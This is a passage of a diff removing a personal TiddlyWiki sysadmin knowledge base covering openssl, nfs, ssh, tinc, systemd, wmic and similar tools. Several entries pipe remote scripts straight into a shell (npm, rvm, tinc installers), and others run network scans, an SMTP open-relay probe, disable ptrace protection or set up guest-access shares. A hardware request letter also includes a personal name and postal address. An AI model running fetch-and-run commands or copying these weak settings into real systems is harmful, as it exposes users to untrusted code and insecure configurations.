-database = $dir/ca.db.index
-serial = $dir/ca.db.serial
-RANDFILE = $dir/ca.db.rand
-certificate = $dir/ca.crt
-private_key = $dir/ca.key
-default_days = 365
-default_crl_days = 30
-default_md = md5
-preserve = no
-policy = generic_policy
-[ generic_policy ]
-countryName = optional
-stateOrProvinceName = optional
-localityName = optional
-organizationName = optional
-organizationalUnitName = optional
-commonName = supplied
-emailAddress = optional
-EOF
-
-echo '100001' &gt;ca/ca.db.serial
-touch ./ca/ca.db.index
-mkdir ./ca/ca.db.certs
-
-openssl req -new -keyout mail.key -out mail.csr -days 9001
-openssl ca -config root.cnf -out mail.crt -infiles mail.csr
-openssl pkcs12 -export -inkey mail.key -certfile ca/root.crt -out mail.p12 -in mail.crt
-
-smime_keys add_root ca/root.crt
-smime_keys add_cert ca/root.crt
-# add private certificate
-
-}}}
-
-! [[offlineimap]]</pre>
-</div>
-<div title="mysql" modifier="makefu" created="201107150843" modified="201107150846" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201107150846">
-<pre>! change root pass
-{{{
-mysqladmin -u root password NEWPASSWORD
-}}}
-! mysql testing
-{{{
-map -p 3306 1.2.3.4 --script mysql-audit \
---script-args &quot;mysql-audit.filename='nselib/data/mysql-cis.audit'\
-,mysql-audit.username='root',mysql-audit.password='foobar'&quot;
-}}}</pre>
-</div>
-<div title="netcfg" modifier="Felix" created="201102130539" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201102130539">
-<pre>! POST and PRE commands
-in {{{ /etc/network.d/interfaces/$INTERFACE }}}
-{{{
-POST_DOWN=&quot;pkill dropbox; echo 'Killed Dropbox'&quot;
-POST_UP=&quot;sleep 5;sudo -u makefu dropboxd&amp;&quot;
-}}}
-</pre>
-</div>
-<div title="netstat" modifier="Felix" created="201102130029" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201102130029">
-<pre>{{{netstat -tulpn}}}</pre>
-</div>
-<div title="nfs" modifier="Felix" created="201103291614" modified="201105161452" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201105161452">
-<pre>! share data
-network-address/subnet
-{{{
-echo &quot;/share 192.168.0.0/24(ro,async)&quot;&gt;&gt;/etc/exports
-exportfs -ar
-/etc/rc.d/nfs-server restart
-}}}
-! mount data
-{{{
-mount -t nfs 192.168.0.1:/share /mnt
-}}}
-
-! using for virtualbox behind nat
-you will need the &quot;insecure&quot; flag!
-{{{
-/home/makefu/repos/harden *(rw,sync,no_subtree_check,all_squash,anonuid=1000,anongid=1000,insecure)
-}}}</pre>
-</div>
-<div title="nmap" modifier="makefu" created="201212301802" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201212301802">
-<pre>! quirks
-{{{
-nmap script smtp-open-relay.nse --script-args smtp-open-relay.domain=gmail.com -p 25,465,587 &lt;host&gt;
-}}}</pre>
-</div>
-<div title="node.js" modifier="Felix" created="201105220006" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201105220006">
-<pre>{{{
-git clone --depth 1 https://github.com/joyent/node.git
-cd node
-export JOBS=2 # optional, sets number of parallel commands.
-mkdir ~/local
-./configure --prefix=$HOME/local/node
-make
-make install
-export PATH=$HOME/local/node/bin:$PATH
-
-# npm
-curl http://npmjs.org/install.sh | sh
-}}}</pre>
-</div>
-<div title="offlineimap" modifier="makefu" created="201307081321" modified="201307081322" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201307081322">
-<pre>! .offlineimaprc
-!! Mailbox names
-required for mutt:
-{{{
-[mbnames]
-enabled= yes
-filename= ~/.mutt/muttrc.mailboxes
-header = &quot;mailboxes
-peritem = =%(foldername)s
-sep = &quot; &quot;
-footer = &quot;\n&quot;
-}}}
-in {{{.muttrc}}} append {{{source $HOME/.mutt/muttrc.mailboxes}}}</pre>
-</div>
-<div title="openStack" modifier="makefu" created="201103081425" modified="201307171309" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201307171309">
-<pre>!Infos
-!! Single Instance Virtual Machine Installation
-https://uksysadmin.wordpress.com/2011/02/17/running-openstack-under-virtualbox-a-complete-guide/
-This guide has some problems with authenticating the new repository and adding the public key
-
-! Multi Instance
-http://docs.openstack.org/openstack-compute/admin/content/ch03.html
-
-! troubleshooting
-{{{
- echo net.ipv4.ip_forward &gt;&gt; /etc/sysctl.cfg
-}}}
-!! look in /var/log/libvirt/
-</pre>
-</div>
-<div title="openssl" creator="makefu" modifier="makefu" created="201309092005" changecount="1">
-<pre>Certificates, verificaten and Stuff
-
-! get ssl fingerprint
-{{{
-echo Q |openssl s_client -connect syntax-fehler.de:993 &gt; out.pem
-# edit out.pem , remove everything outside of ----BEGIN and ---END
-openssl x509 -in out.pem -sha1 -noout -fingerprint
-}}}</pre>
-</div>
-<div title="pacman" modifier="makefu" created="201103272133" modified="201308292350" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201104122254" changecount="1">
-<pre>! Yaourt mirror
-in {{{/etc/pacman.conf}}}
-{{{
-[archlinuxfr]
-Server = http://repo.archlinux.fr/$arch
-SigLevel = Optional TrustAll
-}}}
-!! local mirror
-exclude file for rsync: {{{/path/to/exclude.txt}}}
-{{{
-iso
-testing
-
-#Exclude i686 Packages
-*/os/i686
-pool/*/*-i686.pkg.tar.xz
-pool/*/*-i686.pkg.tar.gz
-
-#Exclude x86_64 Packages
-*/os/x86_64
-pool/*/*-x86_64.pkg.tar.xz
-pool/*/*-x86_64.pkg.tar.gz
-}}}
-!! Use rsync
-{{{
-rsync --exclude-from=$EXCLUDE_FILE -rtlHq --delete-after rsync://path/to/repo /path/to/lopcal/repo
-}}}
-! Creating a mirror
-{{{
-#!/bin/bash
-set -x
-# Configuration
-SOURCE='rsync://ftp5.gwdg.de/pub/linux/archlinux/'
-DEST='/srv/mirrors/archlinux'
-EXCLUDE_FILE='/path/to/exclude.txt'
-BW_LIMIT='500'
-REPOS='core extra community'
-RSYNC_OPTS='-rtlHq --delete-after --delay-updates --copy-links --safe-links --max-delete=1000 --bwlimit=500 --delete-excluded'
-LCK_FLE=/tmp/rsync-mirror.lck'
-
-# Make sure only 1 instance runs
-if [ -e &quot;$LCK_FLE&quot; ] ; then
- OTHER_PID=`/bin/cat $LCK_FLE`
- echo &quot;Another instance already running: $OTHER_PID&quot;
- exit 1
-fi
-echo $$ &gt; &quot;$LCK_FLE&quot;
-
-for REPO in $REPOS ; do
- echo &quot;Syncing $REPO&quot;
- /usr/bin/rsync $RSYNC_OPTS ${SOURCE}/${REPO} ${DEST}
-done
-
-# Cleanup
-/bin/rm -f &quot;$LCK_FLE&quot;
-
-exit 0
-}}}
-</pre>
-</div>
-<div title="pandaboard" modifier="Felix" created="201102012153" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201102012153">
-<pre>!Request for a pandaboard
-Felix Richter
-Burgunderstr. 39
-70435 Stuttgart
-Germany
-
-Hi, this is Felix Richter from Germany. I am a member of the german Hackerspace Shackspace (www.shackspace.de) and here we are working on a large number of Open Source and simply cool projects. For example two cool members hacked an electronic lock in order to make physical keys obsolete and provide a way to open the lock with your very own ssh private key (http://shackspace.de/wiki/doku.php?id=project:white_box) and we even have our own arduino implementation Shackuino ( http://shackspace.de/wiki/doku.php?id=project:shackuino). Currently we are forced out of our current rooms and have to find a new one until February 28. Every day new projects come to the mind of the members and it would be great if we could get support for our cause.
-
-In addition to that we have another project called genericore ( http://shackspace.de/wiki/doku.php?id=project:genericore) which uses a message queueing system in order to collect data from different sources, process these data (e.g. generate statistics from the data) and then send them to different outputs (like html,xmpp,irc and so on). The pandaboard could provide a module which sends the collected data from the wireless sensor network to this message queue. In addition to that, it can provide other modules which only work at our location (e.g. check how many clients are currently connected to our network via asking our snmp enabled router how many clients are in the arp table and then arp-scan all clients for better results https://github.com/shackspace/genericore-snmp_users)
-
-The pandaboard is just like the greatest thing we could ever hope for our projects, it is just incredible flexible, has all(and more) extensions we could possibly need and uses nearly no energy, which is great to keep it on 24/7 in our location without the fear of a too high energy bill. This of course is great for our statistics generation and information gathering approach because we would love to have continuous data from all the sensors and modules.
-We were looking for a long time for such a platform. It even enables more projects here at our hackerspace to fold out because the pandaboard has enough power (2core cpu) to work in many different projects at the same time!</pre>
-</div>
-<div title="performance" modifier="Felix" created="201103082341" modified="201103082341" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201103082341">
-<pre>! quick tweaks
-do it dirty, write in {{{/etc/rc.local}}}
-{{{
-echo deadline &gt; /sys/block/sda/queue/scheduler #deadline io scheduler
-echo ondemand &gt;/sys/devices/system/cpu/cpu0/cpufreq/scaling_governor #ondemand scheduler
-}}}
-
-also see [[swapdisk]]</pre>
-</div>
-<div title="powershell" modifier="makefu" created="201305201507" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201305201507">
-<pre>Quick ping-scan
-{{{
-1..255 | foreach-object { (new-object System.Net.Networkinformation.Ping).Send(&quot;192.168.137.$_&quot;, 10) } | where-object { $_.Status -eq &quot;Success&quot; } | select $_.Address.Address
-}}}</pre>
-</div>
-<div title="qemu" modifier="makefu" created="201307171317" modified="201308140745" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201307171321" changecount="1">
-<pre>!prepare
-{{{
-pacman -S qemu
-ln -s /usr/bin/qemu-system-x86_64 /usr/bin/qemu
-}}}
-!the whole thingy
-{{{
-qemu-img create -f qcow2 boot.img 10G
-qemu \
- -enable-kvm \ # use it
- -m 512 \ # available memory
- -hda boot.img \
- -cdrom isos/archlinux-2013.02.01-dual.iso \
- -boot d \ # boot iso
- -vnc :1 \ # vncviewer :1
- -net nic,macaddr=00:00:00:00:00:00 -net user \ # user mode network (dhcp, ping does not work)
- -redir tcp:2222::22 # IP-forwarding which arrive at host port 2222 to client port 22
-}}}
-! create qemu snapshot
-{{{
-qemu-img create -f qcow2 -b rhel.img rhel-snap.img
-qemu .... -hda rhel-snap.img
-#using rhel.img will corrupt the snapshot
-}}}</pre>
-</div>
-<div title="reptyr" modifier="makefu" created="201212301753" modified="201212301755" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201212301755">
-<pre>detach programs, for example from interactive session into screen session
-
-! Troubleshooting
-{{{
-echo 0 &gt; /proc/sys/kernel/yama/ptrace_scope
-}}}</pre>
-</div>
-<div title="rpm" creator="makefu" modifier="makefu" created="201310091406" modified="201310100857" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" changecount="4">
-<pre>! Tips
-{{{
-# get all packages with given format (here csv)
-rpm -qa --qf '&quot;%{NAME}&quot;,&quot;%{VERSION}\n&quot;'
-}}}</pre>
-</div>
-<div title="rsnapshot" modifier="Felix" created="201102130340" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201102130340">
-<pre>!caveeats
-#warnings about &quot;lchown&quot; in logs:
-
-{{{perl -MCPAN -e 'install qw(Lchown)'}}}</pre>
-</div>
-<div title="ruby" modifier="makefu" created="201304251043" modified="201304251200" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201304251200">
-<pre>! install rvm
-{{{
-curl -L https://get.rvm.io | bash -s stable
-}}}
-! usage
-{{{
-# try`rvm autolibs enable`
-rvm autolibs enable
-# rvm requirements 1.9.3 | sed 's/,//g'
-rvm install 1.9.3
-rvm use --default 1.9.3
-}}}</pre>
-</div>
-<div title="samba" modifier="makefu" created="201201020009" modified="201311261650" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201201020015" changecount="1">
-<pre>! Anonymous Samba Share
-!! Create Samba Config
-in {{{/etc/samba/smb.conf}}}
-{{{
-[global]
- # this disables all the authentication with 'guest ok'
- #security = SHARE
-[temp]
- comment = Shared
- path = /home/samba
- force user = sambaman
- force group = users
- read only = No
- guest ok = Yes
-}}}
-!! Create Samba User
-{{{
-useradd -c &quot;Sambaman&quot; -m -g users -p &quot;moar samba browsing fuck yeah&quot; sambaman
-}}}
-!! Restart
-{{{
-systemctl restart smbd
-}}}</pre>
-</div>
-<div title="screen config" modifier="Felix" created="201102031011" modified="201106011428" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201106011428">
-<pre>{{{
-altscreen on
-term screen-256color
-
-hardstatus alwayslastline
-hardstatus string '%{= kG}[ %{G}%H %{g}][%= %{= kw}%?%-Lw%?%{r}(%{W}%n*%f%t%?(%u)%?%{r})%{w}%?%+Lw%?%?%= %{g}][%{B} %m-%d %{W}%c %{g}]'
-}}}</pre>
-</div>
-<div title="selinux" modifier="makefu" created="201303060131" modified="201303060207" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201303060207">
-<pre>! Resources
-http://wiki.centos.org/HowTos/SELinux
-http://www.centos.org/docs/5/html/5.2/Deployment_Guide/sec-sel-use-audit2allow.html
-! Commands
-{{{
-sestatus
-setenforce -- toggle between enforcing and permissive
-/etc/selinux/config --
-ls -Z
-ps axZ
-id -Z -- show security context
-chcon -v --type=httpd_sys_content_t /html -- change the context of the file
-semanage fcontext -a -t httpd_sys_content_t &quot;/html(/.*)?&quot; -- make context permanent between reboots
-restorecon -v /var/www/html/index.html -- restore the security context of a file (after cp)
-restorecon -Rv -n /var/www/html -- check if security context changes happened
-touch /.autorelabel -- trigger complete relabeling of file system
-grep smtpd_t /var/log/audit/audit.log | audit2allow -M postgreylocal -- create policy file from audit logfile
-semodule -i postgreylocal.pp -- load the new module
-semodule -l -- check if module is loaded
-}}}
-</pre>
-</div>
-<div title="solaris" modifier="makefu" created="201303121236" modified="201310161059" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201303121238" changecount="1">
-<pre>! gnu alternatives
-!! readlink -f
-{{{
-canonicalpath() {
- if [ -d $1 ]; then
- pushd $1 &gt; /dev/null 2&gt;&amp;1
- echo $PWD
- elif [ -f $1 ]; then
- pushd $(dirname $1) &gt; /dev/null 2&gt;&amp;1
- echo $PWD/$(basename $1)
- else
- echo &quot;Invalid path $1&quot;
- fi
- popd &gt; /dev/null 2&gt;&amp;1
-}
-}}}
-{{{
-canonicalize(){
- cd -P -- &quot;$(dirname -- &quot;$1&quot;)&quot; &amp;&amp;
- printf '%s\n' &quot;$(pwd -P)/$(basename -- &quot;$1&quot;)&quot;
-}
-}}}
-!! mount -o bind
-{{{
-mount -F lofs DIR1 DIR2
-}}}</pre>
-</div>
-<div title="ssh" modifier="makefu" created="201106130259" modified="201305071847" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201305071847">
-<pre>! .ssh/config
-{{{
-Host $hostname
- User $username
- Port $port
- HostName $ipOrHostname
- IdenitityFile $pathToFile
-}}}
-! remote commands
-{{{
-ssh user@host 'path-to-remote-command'
-}}}
-!! Proxy Through SSH
-{{{
-ProxyCommand ssh external.example.net %h:22
-}}}
-!! Chrooting
-
-{{{
-#?/bin/sh
-groupadd sftp
-useradd -d /opt/u -m -N -g sftp u
-mkdir /opt/u/.ssh
-echo &quot;PUBKEY&quot; &gt; /opt/u/.ssh/authorized_keys
-mkdir /opt/u/editable
-chown u:sftp -R /opt/u/
-chown root:sftp /opt/u/
-chmod 750 -R /opt/u/
-cat &gt;&gt;/etc/ssh/sshd_config &lt;&lt;EOF
-
-Subsystem sftp /usr/lib/openssh/sftp-server
-
-Match User u
- AllowTCPForwarding no
- X11Forwarding no
- PasswordAuthentication no
-
-Match Group sftp
- ChrootDirectory %h
- ForceCommand internal-sftp
-EOF
-}}}
-
-
-</pre>
-</div>
-<div title="swapdisk" modifier="makefu" created="201103082317" modified="201311172330" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201103082321" changecount="1">
-<pre>!create swap from file
-{{{
-truncate --size 8G /swapfile
-mkswap /swapfile
-swapon /swapon
-}}}
-!! /etc/fstab
-{{{
-echo &quot;/swapfile none swap defaults 0 0&quot; &gt;&gt; /etc/fstab
-}}}
-!minimize swappiness
-{{{
-echo 0 &gt; /proc/sys/vm/swappiness
-}}}
-
-!! after reboot
-in {{{/etc/sysctl.conf}}}
-{{{
-vm.swappiness=1
-}}}</pre>
-</div>
-<div title="systemd" modifier="makefu" created="201307032119" modified="201310222222" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201307032120" changecount="1">
-<pre>! run shit in tmux
-in {{{/etc/systemd/system/start-shit.service}}}
-{{{
-[Unit]
-Description=start shit
-
-[Service]
-Type=oneshot
-RemainAfterExit=yes
-KillMode=none
-User=root
-ExecStart=/usr/bin/tmux new-session -s %u -d '&lt;my cool script&gt;'
-ExecStop=/usr/bin/tmux kill-session -t %u
-
-[Install]
-WantedBy=multi-user.target
-}}}
-! call rc.local
-in {{{/etc/systemd/system/rc-local.service}}}
-{{{
-[Unit]
-Description=/etc/rc.local Compatibility
-ConditionPathExists=/etc/rc.local
-
-[Service]
-Type=oneshot
-ExecStart=/etc/rc.local start
-StandardOutput=tty
-RemainAfterExit=yes
-SysVStartPriority=99
-
-[Install]
-WantedBy=multi-user.target
-}}}</pre>
-</div>
-<div title="tinc" modifier="makefu" created="201102122223" modified="201312111027" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201212301757" changecount="1">
-<pre>Tinc is your virtual private network.
-!logging
-Get infos from current network
-see also github-&gt;makefu-&gt;retiolum
-{{{
-sudo tincd -n retiolum --kill=USR2 --user=tincd --chroot
-}}}
-run with
-{{{
-tincd --user=tincd --chroot -n retiolum
-}}}
-
-!installation
-Use this installation with great caution!
-{{{
-curl tinc.krebsco.de | HOSTN=krebsbobkhan sh
-}}}
-! v6-only host routing to v4 via tinc
-!! server (pigstarter)
-{{{
-#?/bin/sh
-# forwarding
-echo &quot;net.ipv6.conf.conf.all.forwarding=1&quot;&gt;&gt; /etc/sysctl.conf
-sysctl net.ipv6.conf.conf.all.forwarding=1
-# ufw
-sed -i 's/\(DEFAULT_FORWARD_POLICY=\).*/\1&quot;ACCEPT&quot;/' /etc/default/ufw
-service ufw restart
-# tinc config
-echo &quot;Subnet = 0.0.0.0/0&quot; &gt;&gt; /etc/tinc/retiolum/hosts/pigstarter
-}}}
-!! client (irkel)
-{{{
-cat &gt;&gt;/etc/tinc/retiolum/tinc-up &lt;&lt;EOF
-ip addr add 10.243.0.153 dev \$INTERFACE
-ip addr add default dev \$INTERFACE
-EOF
-}}}
-
-! Building on amazon ec2 aws instance
-{{{
-#!/bin/sh
-set -e
-sudo yum install -y gcc openssl-devel
-mkdir build
-cd build
-curl http://www.oberhumer.com/opensource/lzo/download/lzo-2.04.tar.gz | tar xz
-cd lzo-2.04
-./configure --prefix=/usr
-make
-sudo make install
-cd ..
-curl http://www.tinc-vpn.org/packages/tinc-1.0.13.tar.gz | tar xz
-cd tinc-1.0.13
-./configure --prefix=/usr --sysconfdir=/etc --localstatedir=/var
-make
-sudo make install
-}}}</pre>
-</div>
-<div title="tmux" modifier="Felix" created="201105262209" modified="201105262211" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201105262211">
-<pre>create sessions on startup
-{{{
-tmux start-server
-tmux new-session -d -s daemons -n daemons
-tmux new-window -t daemons:1
-tmux new-window -t daemons:2
-tmux new-window -t daemons:3
-tmux new-window -t daemons:4
-
-tmux send-keys -t daemons:0 'dropboxd' C-m
-tmux send-keys -t daemons:1 'offlineimap' C-m
-tmux send-keys -t daemons:2 '/usr/bin/python2 /opt/sabnzbd/SABnzbd.py -f /home/makefu/.sabnzbd.ini/sabnzbd.ini -d' C-m
-tmux send-keys -t daemons:3 'DISPLAY=:0.0 redshift -l 9.16:48.8' C-m
-tmux send-keys -t daemons:4 'DISPLAY=:0.0 twinkle' C-m
-}}}
-or
-{{{
-tmux new-session &quot;$CMD&quot;
-}}}
-!Splitting
-{{{C-B :split-window -h}}} splits the window to have left and right
-{{{C-B ARROW}}} move to next split</pre>
-</div>
-<div title="u3-tool" modifier="makefu" created="201305171052" modified="201305171116" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201305171116">
-<pre>! Create ISO
-{{{
-mkisofs -o /tmp/cd.iso /tmp/directory
-}}}
-! install u3-tool with libusb
-until very recently u3-tool does not seem to support sg-submodule (or something i do not really know).
-Try building u3-tool for libusb
-{{{
-wget http://downloads.sourceforge.net/project/u3-tool/u3-tool/0.3/u3-tool-0.3.tar.gz
-tar xf this_file
-cd u3-tool-0.3
-./configure --with-libusb --prefix=/usr LIBS=-lusb
-make install
-}}}
-! burn image
-{{{
-modprobe -r usb-storage
-u3-tool -p500000000 /dev/sdx
-u3-tool -i file.iso /dev/sdx
-}}}</pre>
-</div>
-<div title="ubuntu" creator="makefu" modifier="makefu" created="201307290939" modified="201309022146" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" changecount="7">
-<pre>! Fresh install
-!! Install MTA
-see [[msmtp]]
-!! Unattended Upgrades
-{{{
-aptitude install unattended-upgrades
-}}}
-!!! automagic
-{{{
-sudo dpkg-reconfigure -plow unattended-upgrades
-}}}
-!!! manual
-in {{{/etc/apt/apt.conf.d/50unattended-upgrades}}} append
-{{{
-Unattended-Upgrade::Mail &quot;me@domain.com&quot;;
-Unattended-Upgrade::MailOnlyOnError &quot;true&quot;;
-Unattended-Upgrade::Remove-Unused-Dependencies &quot;true&quot;;
-}}}
-in {{{/etc/apt/apt.conf.d/20auto-upgrades}}}
-{{{
-APT::Periodic::Update-Package-Lists &quot;1&quot;;
-APT::Periodic::Unattended-Upgrade &quot;1&quot;;
-APT::Periodic::Download-Upgradeable-Packages &quot;1&quot;;
-APT::Periodic::AutocleanInterval &quot;7&quot;;
-}}}
-also see {{{/etc/cron.daily/apt}}}</pre>
-</div>
-<div title="ufw" creator="YourName" modifier="YourName" created="201308291201" changecount="1">
-<pre>! syntax
-{{{
-# allow port on interface
-ufw allow in on retiolum from any port 46299
-# allow ipv6 address
-ufw allow from 42:0b2c:d90e:e717:03dc:9ac1:7c30:a4db to any
-}}}</pre>
-</div>
-<div title="update-alternatives" modifier="makefu" created="201304251044" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201304251044">
-<pre>! update a link
-{{{
-update-alternatives --config ruby
-}}}
-query
-{{{
-update-alternatives --query rub
-}}}</pre>
-</div>
-<div title="upnp" creator="makefu" modifier="makefu" created="201308260005" changecount="1">
-<pre>! miranda
-{{{
-wget ``miranda from here somewhere: https://code.google.com/p/mirandaupnptool/ ``
-python2 miranda.py
- msearch
- host get 0
- host info 0
- host summary 0
- help
-}}}</pre>
-</div>
-<div title="urxvt" modifier="Felix" created="201102130348" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201102130348">
-<pre>a better Terminal Emulator:
-in {{{~/.Xdefaults}}}
-{{{
-URxvt*matcher.button: 1
-URxvt*perl-ext: default,matcher
-URxvt.urlLauncher: chromium
-URxvt*matcher.pattern.1:\\bwww\\.[\\w-]+\\.[\\w./?&amp;@#-]*[\\w/-]
-}}}</pre>
-</div>
-<div title="usbip" modifier="makefu" created="201301040617" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201301040617">
-<pre>! openwrt
-packages: {{{usbip usbip-server kmod-usbip-server}}}
-! usage
-!! Server
-{{{
-usbipd -D
-usbip list -l
- ...
-usbip bind &lt;&lt;USB-BUSID&gt;&gt;
-}}}
-!! Client
-{{{
-usbip list -r &lt;&lt;SERVER&gt;
-usbip attach -h &lt;&lt;SERVER&gt;&gt; -b &lt;&lt;USB-BUSID&gt;&gt;
-}}}</pre>
-</div>
-<div title="vhosts" modifier="makefu" created="201206072158" modified="201206082232" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201206082232">
-<pre>!Inception Hosting
-!! Debian 6
-{{{
-#mknod /dev/xvda b 202 0
-
-sed -i 's/sda/xvda/' /boot/grub/device.map:
-
-#Edit /usr/sbin/update-grub
-#Replace:
-#find_device ()
-#{
-#if ! test -e ${device_map} ; then
-#echo quit | grub --batch --no-floppy --device-map=${device_map} &gt; /dev/null
-#fi
-#grub-probe --device-map=${device_map} -t device $1 2&gt; /dev/null
-#}
-##With:
-#
-#find_device ()
-#{
-#if ! test -e ${device_map} ; then
-#echo quit | grub --batch --no-floppy --device-map=${device_map} &gt; /dev/null
-#fi
-##grub-probe --device-map=${device_map} -t device $1 2&gt; /dev/null
-#
-#echo /dev/xvda
-#}
-update-grub 0
-sed -i &quot;s/xvda/xvda1/g&quot; /boot/grub/menu.lst
-}}}
-
-! Iptables
-{{{
-apt-get install iptables-persistent
-cat &lt;&lt;EOF &gt; /etc/iptables/rules
-# Generated by iptables-save v1.4.8 on Wed May 16 17:39:35 2012
-*nat
-:PREROUTING ACCEPT [1:60]
-:POSTROUTING ACCEPT [0:0]
-:OUTPUT ACCEPT [0:0]
-#-A PREROUTING -i venet0:0 -p tcp -m tcp --dport 443 -j REDIRECT --to-ports 22
-COMMIT
-# Completed on Wed May 16 17:39:35 2012
-# Generated by iptables-save v1.4.8 on Wed May 16 17:39:35 2012
-*mangle
-:PREROUTING ACCEPT [4608:600641]
-:INPUT ACCEPT [4608:600641]
-:FORWARD ACCEPT [0:0]
-:OUTPUT ACCEPT [4662:571608]
-:POSTROUTING ACCEPT [4662:571608]
-COMMIT
-# Completed on Wed May 16 17:39:35 2012
-# Generated by iptables-save v1.4.8 on Wed May 16 17:39:35 2012
-*filter
-:INPUT DROP [27:19186]
-:FORWARD DROP [0:0]
-:OUTPUT ACCEPT [4662:571608]
--A INPUT -i lo -j ACCEPT
--A INPUT -i retiolum -j ACCEPT
--A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
--A INPUT -p tcp -m tcp --dport 22 -j ACCEPT
--A INPUT -p tcp -m tcp --dport 655 -j ACCEPT
--A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
--A INPUT -p tcp -m tcp --dport 443 -j ACCEPT
--A INPUT -p tcp -m tcp --dport 9111 -j ACCEPT
-COMMIT
-# Completed on Wed May 16 17:39:35 2012
-EOF
-}}}
-</pre>
-</div>
-<div title="vim" modifier="makefu" created="201105101423" modified="201212301803" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201212301803">
-<pre>! .vimrc
-
-! Plugins
-
-! Tipps
-!! Goto file and back
-{{{ gf }}} to go into file and {{{CTRL-O}}} to go back again
-!! open words manpage
-{{{
-K
-}}}
-!! copy char from row above
-CTRL + y
-!! Shell Colors
-{{{Ctrl-V ESC}}} for escaping {{{^[}}}
-write :
-{{{&lt;ESC&gt;[{attr};{fg};{bg}m}}}
-{{{
-{attr} is one of following
- 0 Reset All Attributes (return to normal mode)
- 1 Bright (Usually turns on BOLD)
- 2 Dim
- 3 Underline
- 5 Blink
- 7 Reverse
- 8 Hidden
-{fg} is one of the following
- 30 Black
- 31 Red
- 32 Green
- 33 Yellow
- 34 Blue
- 35 Magenta
- 36 Cyan
- 37 White
-{bg} is one of the following
- 40 Black
- 41 Red
- 42 Green
- 43 Yellow
- 44 Blue
- 45 Magenta
- 46 Cyan
- 47 White
-}}}
-
-</pre>
-</div>
-<div title="vncserver" modifier="Felix" created="201102151234" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201102151234">
-<pre>! /etc/vncserver oder /etc/sysconfig/vncserver
-{{{
-VNCSERVERS=&quot;2:username&quot;
-VNCSERVERARGS[2]=&quot; -nolisten tcp -nohttpd &quot;
-}}}
-! $HOME/.vnc/xstartup
-{{{
-unset SESSION_MANAGER
-exec /etc/X11/xinit/xinitrc
-}}}</pre>
-</div>
-<div title="vnstat" modifier="makefu" created="201112302033" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201112302033">
-<pre>! init
-{{{
-vnstat -u -i venet0
-vnstat -u -i retiolum
-}}}</pre>
-</div>
-<div title="weechat" creator="makefu" modifier="makefu" created="201309022221" modified="201401081547" changecount="4">
-<pre>! compiling
-!! fresh
-{{{
-./configure --prefix=/usr --sysconfdir=/etc
-make install
-}}}
-!! UTF-8 is broken after compilation
-{{{
-# you might have missed these two lines when doing ./configure:
-## *** ncursesw library not found! Falling back to &quot;ncurses&quot;
-## *** Be careful, UTF-8 display may not work properly if your locale is UTF-8.
-#install ncursesw header
-apt-get install libncursesw-dev
-}}}
-! search
-you will need 0.4.2 or higher. see {{{http://weechat.org/files/doc/devel/weechat_user.en.html#key_bindings_search_context}}}.
-{{{
-/key resetall -yes search
-/save
-# search in nick names,etc
-ctrl-r and TAB...
-}}}
-!! grep
-{{{
-/script install grep.py
-/grep ball
-/help grep
-}}}</pre>
-</div>
-<div title="wmic" modifier="makefu" created="201201111550" modified="201201111621" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201201111621">
-<pre>! Processes
-see also http://isc.sans.edu/diary.html?storyid=2376
-{{{
-wmic /?
-wmic process where (name=&quot;cmd.exe&quot; or name=&quot;calc.exe&quot;) list brief
-wmic process where (executablepath like &quot;%system32%&quot;) list brief
-wmic process list brief
-wmic process where name=&quot;cmd.exe&quot; delete #kill process
-wmic process where name=&quot;cmd.exe&quot; call terminate #
-wmic process call create cmd.exe
-}}}
-! Users
-{{{
-wmic useraccount
-}}}
-! Network
-{{{
-wmic nicconfig where Index=1 call EnableStatic (&quot;10.10.10.10&quot;), (&quot;255.0.0.0&quot;)
-wmic nicconfig where Index=1 call EnableDHCP
-netsh /? # alternative to wmic
-}}}
-!! Remote access
-{{{
